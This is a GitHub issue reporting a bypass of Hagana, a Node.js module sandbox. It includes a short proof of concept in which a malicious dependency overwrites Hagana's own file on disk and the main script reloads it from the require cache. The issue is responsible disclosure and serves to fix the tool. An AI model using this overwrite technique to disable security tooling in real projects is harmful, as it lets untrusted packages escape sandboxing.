hagana icon indicating copy to clipboard operation
hagana copied to clipboard

Hagana overwrite break out

Open Mickael-van-der-Beek opened this issue 2 years ago • 1 comments

This one is relatively simple.

Since Hagana is probably installed in the same node_modules directory as the potentially dangerous modules, it's possible to overwrite it and reload the module.

Main file ./src/index.js content:

const hagana = require('@hagana/hagana');

hagana.setModulesFolder('node_modules');
hagana.setRoot('.');

const { run } = require('mylib');
run();

delete require.cache[require.resolve('@hagana/hagana')];
require('@hagana/hagana');

The dangerous library ./node_modules/mylib/index.js content:

const fs = require('fs');

exports.run = function run () {
  fs.writeFileSync(require.resolve('@hagana/hagana'), 'console.log("Yolooo");', { encoding: 'utf-8' });
};

Mickael-van-der-Beek avatar Jul 15 '22 15:07 Mickael-van-der-Beek

But won't the initial overrides already have taken place?

yaakov123 avatar Jul 26 '22 08:07 yaakov123